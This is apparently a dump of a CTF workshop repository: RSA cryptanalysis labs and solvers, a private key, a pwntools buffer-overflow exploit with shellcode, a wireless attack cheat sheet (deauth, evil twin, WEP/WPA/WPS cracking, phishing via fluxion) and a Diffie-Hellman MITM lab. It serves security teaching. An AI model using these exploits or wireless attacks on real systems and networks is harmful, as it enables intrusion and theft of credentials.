| -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/96.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqjgkt7wuDw7+Dc0uYqm1 3 | 0ICyPQMhInIP1X1pxorKKPCER6Wj97LMkxvsh64GAhExq2dShJM8S/sCasnweHc3 4 | yNWccj6zsE3z8yu6PYlaFh4dB8tVRjQ4GgCQUgTjL0Nu1HiXmR2jgWpZ/mKnN5fV 5 | 2SUwAv97y/6Y50j+cHfKzjOATBgkqtX4BcIga2/bRoRf84EaaEAV1L98Y3Cqahzg 6 | yQ54x8stqMGPWAAY0oKlMsdXpPHltnfx58KisHQ4aZfnmIQZgpR1n3Xmb3ylwcZz 7 | tiQcXvCHlIIOscu35LKfz8UP6WpRr+sGj9RWxNS0iND4gUz4AQpGmc5wkHtrUD/l 8 | 5wIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/97.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyE0ApZDR/0BnhFJDCxbB 3 | GpwkwDTrycEK8zfP23eLumAFlIJiswY83PKJiqvx4fw2XEm8BSJSCUlGVdYCMBvE 4 | snLJsnBqN0jjfow368GJA4yt155pr36qG4BqioF6uQtccjwTeABdAg6w9V3E38ZJ 5 | fbXsTOBjRd+C/rhU1qr7G+JdlndqncatPhXglcErAyFeH0trSXHUdpNKvIrwSYQ/ 6 | +3APAeBi7jenhTfRXAAg+0A3TJW35UAnDtKhtVcYY1Z0ru+JBr2tZvWCFHPW6EGj 7 | cLCJrPJgv0y0gH1LwfDSCAyZl+6iMKpL9LKdUv0jAdeLsfLWOmXHrRgS+spT8yfh 8 | LQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/98.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA8DOlFyJLI3ZX82oDI4qv 3 | s0/PpPOGiPJzPrjLKzLc8zi6YbICoTqEpjZ0O9X1zsRZQIDPFCxo+cjsAUxdjRsb 4 | l4q4pajVFI6aa4NZPx0mCBO6y+rlV0JU/9wDGrMUK/QD3P0NEsEC80gqIj93ocxj 5 | H0fxlAeaetyCKXZwAeQP/FVhjNZoZRre9HwI5Zmev0SmE87nzLyTJmFlU5gzMnNd 6 | EOvbNNIjqg5wBwskXtpP/gYycBtlcR8NZz37K2M8vyDr08Gzxl0cQ+2D8FYoMKeW 7 | OQOMsTHAvfttC00CeKqXqNuPQp+F/LY00IQHRgNRdNUVeHCKzbt9tnAbdBIkYSGz 8 | VwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/99.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAprmLQq9M/gxp+Ri8jLCs 3 | vbIpbfwXYeW/+oCpIbHy+wGKlNtr/4OjgADofsLu10/zGdHZO7lfAqBJhTT9gzmb 4 | 0cGhztfhyBNUGPs2KcBRKEVK4a22CuG9KN47DXZ+374eAka0nFy+qYZN4tyxj3FU 5 | 6pNUq3lQ4rCbc/XQ1RpCGCQAIs0cjGauQlRUesEc+x3vd8LH45fLfZLRUOh6E2OX 6 | vSFUWy6kFt28jsm06Sio3HtTTBKaFTw8fYhAGqbMayY7QpLg1czH8sCd2FffOPJQ 7 | hj11Hbs1NoE3T9xWjLtM3mlTsytSg0qKdc2UpZwkfxYVV6WhTrcruQI2UcBx7ZLa 8 | hwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/flag.enc: -------------------------------------------------------------------------------- 1 | oizSSgh67kNHywSsIaSw6oPqPq4IYOVJloOXDJryDAa1bleXqtB0h0mzb971b02xZcaAulyCbGR5wDIco0fHPyPWVEZ3xRY0o8AF/fmuo3MZeN30UpIIBE/zwEDMASyCoArrY0GXWGTavibULyOQ4ZHB1xE/GdQTkwy47TASQzVvdBxzHx/qRG7izYTDfEbo4NLR35AmUbFavxRpGQvHfbJWARbdGzJRQwvB9FCqbZDetM2S8O2s2LVj5+EZ91WDUU4VyAsGopytJCOR2TYlX2ctiS4SrEb07VCFEXLmI+uiDfl4HSK6spzj02CHYf/IVz3qLRpCYShO3vmJ+3XiQQ== -------------------------------------------------------------------------------- /2016/lab4/hastad/code.py: -------------------------------------------------------------------------------- 1 | # https://id0-rsa.pub/problem/11/ 2 | 3 | import gmpy2 4 | 5 | def crt(a, n): 6 | """Chinese remainder theorem 7 | from: http://rosettacode.org/wiki/Chinese_remainder_theorem#Python 8 | 9 | x = a[0] % n[0] 10 | x = a[1] % n[1] 11 | x = a[2] % n[2] 12 | Args: 13 | a(list): remainders 14 | n(list): modules 15 | 16 | Returns: 17 | long: solution to crt 18 | """ 19 | if len(a) != len(n): 20 | log.critical_error("Different number of remainders({}) and modules({})".format(len(a), len(n))) 21 | 22 | sum = 0 23 | prod = reduce(lambda x, y: x * y, n) 24 | 25 | for n_i, a_i in zip(n, a): 26 | p = prod / n_i 27 | sum += a_i * gmpy2.invert(p, n_i) * p 28 | return long(sum % prod) 29 | 30 | e = 3 31 | 32 | C1 = 0x94f145679ee247b023b09f917beea7e38707452c5f4dc443bba4d089a18ec42de6e32806cc967e09a28ea6fd2e683d5bb7258bce9e6f972d6a30d7e5acbfba0a85610261fb3e0aac33a9e833234a11895402bc828da3c74ea2979eb833cd644b8ab9e3b1e46515f47a49ee602c608812241e56b94bcf76cfbb13532d9f4ff8ba 33 | N1 = 0xa5d1c341e4837bf7f2317024f4436fb25a450ddabd7293a0897ebecc24e443efc47672a6ece7f9cac05661182f3abbb0272444ce650a819b477fd72bf01210d7e1fbb7eb526ce77372f1aa6c9ce570066deee1ea95ddd22533cbc68b3ba20ec737b002dfc6f33dcb19e6f9b312caa59c81bb80cda1facf16536cb3c184abd1d5 34 | C2 = 0x5ad248df283350558ba4dc22e5ec8325364b3e0b530b143f59e40c9c2e505217c3b60a0fae366845383adb3efe37da1b9ae37851811c4006599d3c1c852edd4d66e4984d114f4ea89d8b2aef45cc531cfa1ab16c7a2e04d8884a071fed79a8d30af66edf1bbbf695ff8670b9fccf83860a06e017d67b1788b19b72d597d7d8d8 35 | N2 = 0xaf4ed50f72b0b1eec2cde78275bcb8ff59deeeb5103ccbe5aaef18b4ddc5d353fc6dc990d8b94b3d0c1750030e48a61edd4e31122a670e5e942ae224ecd7b5af7c13b6b3ff8bcc41591cbf2d8223d32eeb46ba0d7e6d9ab52a728be56cd284842337db037e1a1da246ed1da0fd9bdb423bbe302e813f3c9b3f9414b25e28bda5 36 | C3 = 0x8a9315ee3438a879f8af97f45df528de7a43cd9cf4b9516f5a9104e5f1c7c2cdbf754b1fa0702b3af7cecfd69a425f0676c8c1f750f32b736c6498cac207aa9d844c50e654ceaced2e0175e9cfcc2b9f975e3183437db73111a4a139d48cc6ce4c6fac4bf93b98787ed8a476a9eb4db4fd190c3d8bf4d5c4f66102c6dd36b73 37 | N3 = 0x5ca9a30effc85f47f5889d74fd35e16705c5d1a767004fec7fdf429a205f01fd7ad876c0128ddc52caebaa0842a89996379ac286bc96ebbb71a0f8c3db212a18839f7877ebd76c3c7d8e86bf6ddb17c9c93a28defb8c58983e11304d483fd7caa19b4b261fc40a19380abae30f8d274481a432c8de488d0ea7b680ad6cf7776b 38 | 39 | n_all = [N1, N2, N3] 40 | ciphertext_all = [C1, C2, C3] 41 | 42 | c_e = crt(ciphertext_all, n_all) 43 | c = gmpy2.iroot(c_e, e) 44 | print c 45 | 46 | c = long(c[0]) 47 | print hex(c)[2:].strip('L').decode('hex') 48 | 49 | -------------------------------------------------------------------------------- /2016/lab4/legion/code.py: -------------------------------------------------------------------------------- 1 | # https://pwning2016.p4.team/task/legion 2 | import codecs 3 | 4 | 5 | def bytes_to_long(data): 6 | return int(data.encode("hex"), 16) 7 | 8 | 9 | def rsa_encrypt(msg, e, n): 10 | return pow(bytes_to_long(msg), e, n) 11 | 12 | 13 | def main(): 14 | n = 29819592777931214269172453467810429868925511217482600306406141434158090 15 | e = 65537 16 | flag = "" #secret! 17 | with codecs.open("encrypted.txt", "w") as output_flag: 18 | output_flag.write(hex(rsa_encrypt(flag, e, n))) 19 | 20 | 21 | main() 22 | -------------------------------------------------------------------------------- /2016/lab4/legion/flag.txt: -------------------------------------------------------------------------------- 1 | 0x1a67cad23ff2c5752f3d652d302a46427a27d5017a8064b32329ec1871 2 | -------------------------------------------------------------------------------- /2016/lab4/lsb_oracle/description.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | 3 | from Crypto.Cipher import PKCS1_v1_5 4 | from Crypto.PublicKey import RSA 5 | from Crypto.Util.number import bytes_to_long 6 | 7 | n = -1 # get it from the provided EXE file 8 | e = -1 # get it from the provided EXE file 9 | 10 | flag = b'' # redacted 11 | key = RSA.construct((n, e)) 12 | cipher = PKCS1_v1_5.new(key) 13 | ctxt = bytes_to_long(cipher.encrypt(flag)) 14 | 15 | print(ctxt) 16 | # output is: 17 | # 2201077887205099886799419505257984908140690335465327695978150425602737431754769971309809434546937184700758848191008699273369652758836177602723960420562062515168299835193154932988833308912059796574355781073624762083196012981428684386588839182461902362533633141657081892129830969230482783192049720588548332813 -------------------------------------------------------------------------------- /2016/lab4/lsb_oracle/lsb.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | from Crypto.Cipher import PKCS1_v1_5 3 | from Crypto.Hash import SHA 4 | import sys 5 | 6 | key = RSA.importKey(open('priv_key.pem','r').read()) 7 | FLAG = open('flag.txt', 'r').read() 8 | 9 | def encrypt(message): 10 | h = SHA.new(message) 11 | cipher = PKCS1_v1_5.new(key) 12 | ciphertext = cipher.encrypt(message + h.digest()) 13 | return ciphertext 14 | 15 | def parity_oracle(ciphertext): 16 | message = key.decrypt(ciphertext) 17 | message = int(message.encode('hex'), 16) 18 | if message % 2 == 0: 19 | return '0' 20 | return '1' 21 | 22 | if len(sys.argv) != 2 or sys.argv[1] not in ['encrypt', 'decrypt']: 23 | print "Usage: {} encrypt|decrypt".format(sys.argv[0]) 24 | sys.exit(1) 25 | 26 | if sys.argv[1] == 'encrypt': 27 | print encrypt(FLAG).encode('hex') 28 | else: 29 | while True: 30 | print "Gimme ciphertext as int (-1 to exit)" 31 | c = raw_input() 32 | try: 33 | c = int(c) 34 | if c < 0: 35 | break 36 | c = hex(c)[2:].strip('L') 37 | c = ('0'*(len(c)&1) + c).decode('hex') 38 | except: 39 | print "incorrect" 40 | continue 41 | print parity_oracle(c) 42 | -------------------------------------------------------------------------------- /2016/lab4/lsb_oracle/lsb_oracle.vmp.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JustHitTheCore/ctf_workshops/d50e8a5c90e80cdae3e17a92bce83955f0618570/2016/lab4/lsb_oracle/lsb_oracle.vmp.exe -------------------------------------------------------------------------------- /2016/lab4/lsb_oracle/solve.py: -------------------------------------------------------------------------------- 1 | from decimal import * 2 | from math import ceil, floor, log 3 | from subprocess import PIPE, Popen 4 | 5 | 6 | if __name__ == "__main__": 7 | """ 8 | http://secgroup.dais.unive.it/wp-content/uploads/2012/11/Practical-Padding-Oracle-Attacks-on-RSA.html 9 | """ 10 | 11 | 12 | n = 120357855677795403326899325832599223460081551820351966764960386843755808156627131345464795713923271678835256422889567749230248389850643801263972231981347496433824450373318688699355320061986161918732508402417281836789242987168090513784426195519707785324458125521673657185406738054328228404365636320530340758959 13 | e = 65537 14 | 15 | c = 2201077887205099886799419505257984908140690335465327695978150425602737431754769971309809434546937184700758848191008699273369652758836177602723960420562062515168299835193154932988833308912059796574355781073624762083196012981428684386588839182461902362533633141657081892129830969230482783192049720588548332813 16 | 17 | enctwo = pow(2, e, n) 18 | 19 | lb = Decimal(0) 20 | ub = Decimal(n) 21 | 22 | k = int(ceil(log(n, 2))) # n. of iterations 23 | getcontext().prec = k # allows for 'precise enough' floats 24 | 25 | p = Popen(["F:\ida_re\lsb_oracle.vmp.exe", "/decrypt"], stdin=PIPE, stdout=PIPE, bufsize=1) 26 | 27 | for i in range(1, k + 1): 28 | c = (c * enctwo) % n # Adapting c... 29 | 30 | nb = (lb + ub) / 2 31 | 32 | print p.stdout.readline() 33 | print >>p.stdin, str(c) 34 | p.stdin.flush() 35 | parity = int(p.stdout.readline()) 36 | 37 | if not parity: 38 | ub = nb 39 | else: 40 | lb = nb 41 | 42 | print("{:>4}: [{}, {}]".format(i, int(lb), int(ub))) 43 | -------------------------------------------------------------------------------- /2016/lab4/male_jest_piekne/code.py: -------------------------------------------------------------------------------- 1 | # https://pwning2016.p4.team/task/male_jest_piekne 2 | import codecs 3 | 4 | 5 | def bytes_to_long(data): 6 | return int(data.encode("hex"), 16) 7 | 8 | 9 | def rsa_encrypt(msg, e, n): 10 | return pow(bytes_to_long(msg), e, n) 11 | 12 | 13 | def main(): 14 | n = 13513545201780754751363061730973412461964840798555163524204230289623875027547891 15 | e = 65537 16 | flag = "" # secret! 17 | with codecs.open("encrypted.txt", "w") as output_flag: 18 | output_flag.write(hex(rsa_encrypt(flag, e, n))) 19 | 20 | 21 | main() 22 | -------------------------------------------------------------------------------- /2016/lab4/male_jest_piekne/flag.txt: -------------------------------------------------------------------------------- 1 | 0x2b159079b43d4d15a2a5ab21d4c76248343db01ade023ac233c63086dd638de694 2 | -------------------------------------------------------------------------------- /2016/lab4/tpq/code.py: -------------------------------------------------------------------------------- 1 | import gmpy2 2 | import random 3 | 4 | FLAG = int(open('flag.txt','r').read().encode('hex'), 16) 5 | 6 | def encrypt(m, e, p, q): 7 | return pow(m, e, p*q) 8 | 9 | def main(): 10 | print "Generate primes..." 11 | primes = [gmpy2.next_prime(random.randint(1<<511, (1<<512)-1)) for x in xrange(10)] 12 | while True: 13 | print "Index of p: " 14 | p = int(raw_input()) 15 | print "Index of q: " 16 | q = int(raw_input()) 17 | if p < 0 or p > 9 or q < 0 or q > 9: 18 | print "index not in [0,9]" 19 | sys.exit(1) 20 | print encrypt(FLAG, 0x10001, primes[p], primes[q]) 21 | 22 | if __name__ == "__main__": 23 | main() 24 | -------------------------------------------------------------------------------- /2016/lab4/tpq/flag.txt: -------------------------------------------------------------------------------- 1 | jakas flag sialala 2 | -------------------------------------------------------------------------------- /2016/lab4/tpq/priv_key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEpQIBAAKCAQEA2nNIRQTTyqTFiWJfMantbFs2TKZRQSwYlcEYivh+SWIURNVw 3 | 1W4urHpyWmS4bEaCGr+pTtG+b8tz3q+J4KMrg9Kcmw/16IzG4RJe+dKfsxtSIOrn 4 | 7gWnDUNx/RLzD83KUjALzwNeEyQCGc8OufOJ4AQctDlBcZDuKCMciSnl1N0d5rp4 5 | XA1S3e9HOUQHx8zZ63Nk66AHwRkfFaDD+tedeiVVUUeIEkD4CXkOUI89hKERjWsc 6 | UAoMLn0b1u2sGuuPDE4OqQqo4o430i7cw/AWCEGKdeII/dpmcfH58oO+ugURFtya 7 | iF0LxqHVpvFw3leFXJ1yhjsXWwl6lcdC3gM49wIDAQABAoIBAQDM5brQuhFpjpmW 8 | HkYJ0EhZDUjmJk4qohDBTmgV2bSiYjN+yPDX0ExJDWT7MmPlc1EPg9xriMJmG+An 9 | 7GCX6pSjRcYMj7DpGjpk3BVnoE6Y8bRcGdnHYVfqUeu2I7MGjNELu/MnjhIMRAcQ 10 | bC1072DQVSsTRG0E95ra3OwkH79qoutAFOq/ks1yXhBLpocQsC19CcBVw172TWEe 11 | L0P962buLHuSQX6kHXXnlQ59zM+3spAIRz0a57GiOfT3Y7O3erXyPQTkJOR50Vmw 12 | XNeBuRhuUwpvEO0ILR7G7IildTsOpPXCq/9690NhUjrQqzNy8JGvzU+/qNshVWLt 13 | boblxFE5AoGBAP9CuP4WAtv46o/da9Fop0V17Ajj9kR0VoxgkEka1Pf+VhMbQnXs 14 | M8YjOdYidC0PB9JmbufpqJ5GhfW7884JyPMj8B66wORx85R3tI/J/P1Wlw6zTxBW 15 | zGcGv+5ZZObjUrkdLqIG02isYoC8yjp+hB7d0LIKw7cPrhBQtw6P3uO1AoGBANsV 16 | Q7yQJ8U4li12fo8OINo29IT/sHCY25RcyEYljpORxqW6gtIEFb2TF95ARkLcaYjN 17 | pEF8APvsG1E6XrMQGK/vbzHUiQ7NtTKVFV1aboZ0G4gVIpcQWdWsRhuZMiogd7rZ 18 | CNhWzDsyxz7ybqjA5teVIVYJPxWn/uXxBCz5cS17AoGBANVDB4+xEB58LmyXz5ab 19 | WvUbemJLIts6X3zUyHdrZXb0FTHNWo9vEip+D7op+uoSXrSYRByaCPiDbzRJHX6M 20 | ikkpQ1pJKRMzaRAnmsFvPmDiUT5E7M931TpWV1Bpe3Wzgs+J5AYWsdYIABwSntqU 21 | DQpExDGb8Lwm64RSCz6tUMjpAoGBAMPwstJUw50aTQaAMhTT+AHyoKLK5AzwSYLZ 22 | sK08LdZBzL6wnwwiZydUBUbbiXuHEkQuV7fRpjeqJYxyffv8a3f+1x5kDejVhjel 23 | KqSBmtRZx73f2T3ue8ok99b7HuiafTr5nXWPu70+XwEnZl07mbo6QMRoJKnDxK/2 24 | 7VskBVs9AoGAE8EYwtTKD2rym3ihzVuGNtKMqQs8pgRKWaTh9tLncFDz/at/3c2B 25 | LmEChE26KF7MfN/6Zyz8lZ0UT4mMzQrcVMosMqOT+UIwt2nqHtYC17FMJMy52Cgj 26 | hjSLUmsaXJAIxNybacHE46ixvfinm8H770hnm3uJi3+3nQRAl6ykPc4= 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /2016/lab6/pwn9_exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | ~Gros 6 | ''' 7 | 8 | from pwn import * 9 | import re 10 | 11 | 12 | DEBUG = True 13 | 14 | # przygotowanie payload 15 | shellcode = '\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80' 16 | ''' 17 | 0: 31 c0 xor eax,eax 18 | 2: 99 cdq 19 | 3: b0 0b mov al,0xb 20 | 5: 52 push edx 21 | 6: 68 2f 2f 73 68 push 0x68732f2f 22 | b: 68 2f 62 69 6e push 0x6e69622f 23 | 10: 89 e3 mov ebx,esp 24 | 12: 52 push edx 25 | 13: 89 e2 mov edx,esp 26 | 15: 53 push ebx 27 | 16: 89 e1 mov ecx,esp 28 | 18: cd 80 int 0x80 29 | ''' 30 | 31 | jmp_esp = 0x0804859f # rop gadget: jmp esp 32 | 33 | offset = 0x110 34 | payload = p32(jmp_esp) 35 | payload += shellcode 36 | payload += p8(0x9c-6) # LSB of ebp, aslr off -> 0xffffcb9c &buffer 37 | payload = 'A'*(offset - len(payload) - 3) + payload 38 | 39 | 40 | # do testowania, odpalamy binarke i gdb 41 | if DEBUG: 42 | e = ELF('./pwn9_pwnme') 43 | context.arch = e.arch 44 | s = process('./pwn9_pwnme') 45 | 46 | context.terminal = ['gnome-terminal', '-e'] 47 | breakpoints = ['0x804846f'] 48 | gdb.attach(s.proc.pid , exe='./pwn9_pwnme', execute='\n'.join(['b *'+x for x in breakpoints])) 49 | 50 | pause() 51 | s.recvuntil('Give me something to eat please\n') 52 | s.send(payload) 53 | s.interactive() 54 | 55 | 56 | # zapis czystego payloadu 57 | with open('pwn9_payload', 'w') as f: 58 | f.write(payload) 59 | 60 | ''' 61 | teraz na serwerze uruchamiamy: 62 | $ while true; do (cat pwn9_payload; cat) | ./pwn9_pwnme ;done 63 | trzymamy enter dopóki nie pyknie 64 | jak ktoś wymyśli lepszy sposób na brutowanie - dać znać 65 | ''' -------------------------------------------------------------------------------- /2016/lab6/pwn9_payload: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JustHitTheCore/ctf_workshops/d50e8a5c90e80cdae3e17a92bce83955f0618570/2016/lab6/pwn9_payload -------------------------------------------------------------------------------- /2016/lab6/pwn9_pwnme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JustHitTheCore/ctf_workshops/d50e8a5c90e80cdae3e17a92bce83955f0618570/2016/lab6/pwn9_pwnme -------------------------------------------------------------------------------- /2016/lab7.md: -------------------------------------------------------------------------------- 1 | ### Do zainstalowania 2 | * wireshark + libpcap (biblioteka powinna się zainstalować wraz z wiresharkiem) 3 | * [aircrack-ng](https://www.aircrack-ng.org/)1 4 | * [reaver, wash](http://tools.kali.org/wireless-attacks/reaver) 5 | * [fluxion](https://github.com/deltaxflux/fluxion) - ma sporo zależności 6 | 7 | 8 | ### Podstawy 9 | * budowa ramek 802.11 10 | * protokół połączenia 11 | * konfiguracja karty sieciowej 12 | ``` 13 | wlp5s0/wlp5s0mon - interfejs bezprzewodowy 14 | enp2s0 - interfejs po kablu 15 | at0 - crated by airbase-ng 16 | 17 | # troche informacji 18 | ifconfig/iwconfig 19 | iwlist wlp5s0 channel 20 | ip link show wlp5s0 21 | iw reg get 22 | 23 | 24 | systemctl stop network 25 | killall wpa_supplicant 26 | killall dhclient 27 | 28 | ifconfig wlp5s0 down 29 | iwconfig wlp5s0 mode monitor 30 | ifconfig wlp5s0 up 31 | 32 | # lub 33 | airmon-ng check kill 34 | airmon-ng start wlp5s0 35 | ``` 36 | 37 | 38 | ### Acess-Point scanning 39 | ``` 40 | #wszystkie AP w zasięgu 41 | iwlist wlp5s0 s 42 | 43 | # lub 44 | airodump-ng wlp5s0 <--essid xxx> <--channel 36> <--write dump_file> 45 | 46 | # filtrowanie wireshak 47 | wlan_mgt.ssid == "ESSID/BSSID" 48 | wlan.bssid == mac 49 | wlan.sa == mac 50 | 51 | # lub Kismet 52 | ``` 53 | 54 | 55 | ### deauth 56 | ``` 57 | aireplay-ng --deauth 0 -a -c wlp5s0 58 | # lub 59 | airdrop-ng -i wlp5s0 -r rule_file 60 | ``` 61 | * Management Frame Protection 62 | 63 | 64 | ### MITM 65 | * zapamiętane sieci 66 | ``` 67 | #lista zapamiętanych 68 | nmcli -p c 69 | 70 | # Na maszynach plaintextem 71 | Windows: 72 | xp - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WZCSVC\Parameters\Interfaces 73 | nowsze - c:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces 74 | NetworkManager: 75 | fedora - /etc/sysconfig/network-scripts/keys-* 76 | debian/ubuntu - etc/NetworkManager/system-connections/ 77 | wpa_supplicant: 78 | /etc/wpa_supplicant/wpa_supplicant.conf 79 | ``` 80 | 81 | * evil twin 82 | ``` 83 | # znaleźć MAC ofiary, dane o połączonym AP 84 | # wzmocnić kartę (max w Polsce: 20dBm) 85 | iwconfig wlp5s0 txpower 20 86 | # postawić nasz fałszywy AP 87 | airbase-ng -a --essid -c wlp5s0 88 | # odłączyć nasz cel (albo wszystkich) od obecnego AP na kilka sekund 89 | # stworzyć bridge (połączenie z internetem dla ofiary) 90 | brctl addbr evil 91 | brctl addif evil enp2s0 92 | brctl addif evil at0 93 | ifconfig enp2s0 0.0.0.0 up 94 | ifconfig at0 0.0.0.0 up 95 | ifconfig evil up 96 | dhclient evil & 97 | ``` 98 | 99 | * fluxion, czyli hasła WPA via phishing 100 | ``` 101 | git clone https://github.com/deltaxflux/fluxion 102 | ./Installer.sh 103 | ./fluxion 104 | ``` 105 | 106 | 107 | ### WEP 108 | * łamanie 109 | ``` 110 | # odpal interfejs w trybie monitor 111 | # przetestuj 112 | aireplay-ng -c -e -a wlp5s0mon 113 | # łap IV 114 | airodump-ng -c --bssid -w output wlp5s0mon 115 | # w osobnym terminalu połącz się z AP (żeby móc tworzyć IV) 116 | aireplay-ng -1 0 -e -a -h wlp5s0mon 117 | # rób jeszcze więcej IV via ARP request-replay 118 | aireplay-ng -3 -b -h wlp5s0mon 119 | # złam klucz bazując na IV 120 | aircrack-ng -b output*.cap 121 | ``` 122 | 123 | * łączenie z AP bez hasła 124 | `easside-ng` 125 | 126 | * nawet lepsze ataki: patrz. wesside-ng 127 | 128 | ### WPA/WPA2 129 | * tkiptun-ng, docelowo umożliwiający wstrzykiwanie pakietów (https://www.aircrack-ng.org/doku.php?id=tkiptun-ng), lepiej używać AES 130 | * WPA(2) nie zapewnia 'forward secrecy', jeśli znasz hasło/PMK, deszyfrujesz cały ruch 131 | ```airdecap-ng -l -e -p sniffed.pcap``` 132 | * łamanie słownikowe 133 | ``` 134 | # automatycznie przechwyć wszystkie handshakes, dodatkowo połam znalezione WEPy ;p 135 | besside-ng -W -c -b wlp5s0mon 136 | # teraz wrzuć to na http://wpa.darkircop.org/index.php 137 | # albo użyj aircrack-ng ze słownikiem 138 | aircrack-ng -w slownik -b wpa.cap 139 | ``` 140 | 141 | * Wersja enterprise - bezpieczniejsza 142 | 143 | 144 | ### EAP-MD5 czy EAP-LEAP (złamane) 145 | ### RADIUS 146 | 147 | ### WPS 148 | * Super zue 149 | * łamanie 150 | ``` 151 | # wykrycie WPS 152 | wash -i wlp5s0mon -s -C 153 | # teraz 154 | reaver -i wlp5s0mon -b -vv -d 0 --dh-small 155 | ``` 156 | -------------------------------------------------------------------------------- /2017/Eskalacja-uprawnień.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JustHitTheCore/ctf_workshops/d50e8a5c90e80cdae3e17a92bce83955f0618570/2017/Eskalacja-uprawnień.pdf -------------------------------------------------------------------------------- /2017/lab_dh/.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc -------------------------------------------------------------------------------- /2017/lab_dh/README.md: -------------------------------------------------------------------------------- 1 | # Diffie-Hellman 2 | 3 | ### Tasks 4 | 5 | * implementation 6 | * mitm 7 | + key-fixing attack 8 | + negotiated groups, malicious "g" parameters 9 | + subgroup-confinement attack 10 | 11 | 12 | ### Classical Diffie-Hellman 13 | ``` 14 | p - group modulus 15 | g - group base element 16 | a - alice private key 17 | b - bob private key 18 | A - alice public key == pow(g, b, p) 19 | B - bob private key == pow(g, a, p) 20 | 21 | Alice --> p, g --> Bob 22 | Alice <-- ACK, p, g <-- Bob 23 | Alice --> A --> Bob 24 | Alice <-- B <-- Bob 25 | Alice --> E(msg1) --> Bob 26 | Alice <-- E(msg2) <-- Bob <-- flag in msg2, if msg1 is correct 27 | ``` 28 | 29 | ### Setup 30 | On remote server run: `bash ./setup.sh` 31 | In config.py setup host properly 32 | 33 | Sniffing only: 34 | ``` 35 | nc host 10003 36 | ``` 37 | 38 | MITM with checks on parameters 39 | ``` 40 | nc host 10001 # alice 41 | nc host 10002 # bob 42 | ``` 43 | 44 | MITM with checks on keys 45 | ``` 46 | nc host 30001 # alice 47 | nc host 30002 # bob 48 | ``` 49 | 50 | Subgroups Confinement 51 | Private key is generated at server start 52 | ``` 53 | nc host 40001 54 | ``` 55 | 56 | 57 | ### Overwiew 58 | 59 | ##### Task1. 60 | Just to check if you can break dh only sniffing ;) 61 | ``` 62 | python ./task1_sniffing.py 63 | ``` 64 | 65 | ##### Task2. 66 | Man in the middle (key-fixing attack) 67 | 68 | ``` 69 | python ./task2_mitm.py 70 | ``` 71 | DH without authentication can be broken with simple MITM attack. Just negotiate keys separately with alice and bob. 72 | Somehow more funny method is to set public keys to, for example, p. 73 | 74 | ##### Task3 75 | Man in the middle (negotiated groups, malicious "g" parameters) 76 | 77 | ``` 78 | python ./task3_negotiated_parameters.py 79 | ``` 80 | Simmilar to above, but we are playing with group parameters. 81 | 82 | ##### Task4 83 | Subgroups Confinement 84 | 85 | ``` 86 | python ./task4_subgroup_confinement.py 87 | ``` 88 | This attack can be used with non-empheral dh (when bob's private key doesn't change), when order of group generator is small enough and groups order is somehow smooth. It's about forcing shared key to be in small subgroup, so it's possible to bruteforce it. 89 | 90 | ### Links 91 | [Cryptopals](https://cryptopals.com/sets/5) 92 | -------------------------------------------------------------------------------- /2017/lab_dh/bob_alice.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | ~Gros 6 | ''' 7 | 8 | import sys 9 | from hashlib import sha256 10 | from binascii import hexlify, unhexlify 11 | import random 12 | import argparse 13 | from Crypto.Cipher import AES 14 | import os 15 | 16 | from utils import * 17 | 18 | 19 | class Unbuffered(object): 20 | def __init__(self, stream): 21 | self.stream = stream 22 | def write(self, data): 23 | self.stream.write(data) 24 | self.stream.flush() 25 | def __getattr__(self, attr): 26 | return getattr(self.stream, attr) 27 | 28 | sys.stdout = Unbuffered(sys.stdout) 29 | 30 | 31 | def alice(send_data, receive_data, check_parameters=False, check_keys=False): 32 | # get parameters 33 | p = 0xffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece45b3dc2007cb8a163bf0598da48361c55d39a69163fa8fd24cf5f83655d23dca3ad961c62f356208552bb9ed529077096966d670c354e4abc9804f1746c08ca237327ffffffffffffffff 34 | g = 2 35 | 36 | # send parameters 37 | send_data(str(p)) 38 | send_data(str(g)) 39 | 40 | # get ACK, update p and g, send A 41 | if receive_data() != 'ACK': 42 | send_data("No ok") 43 | sys.exit(1) 44 | 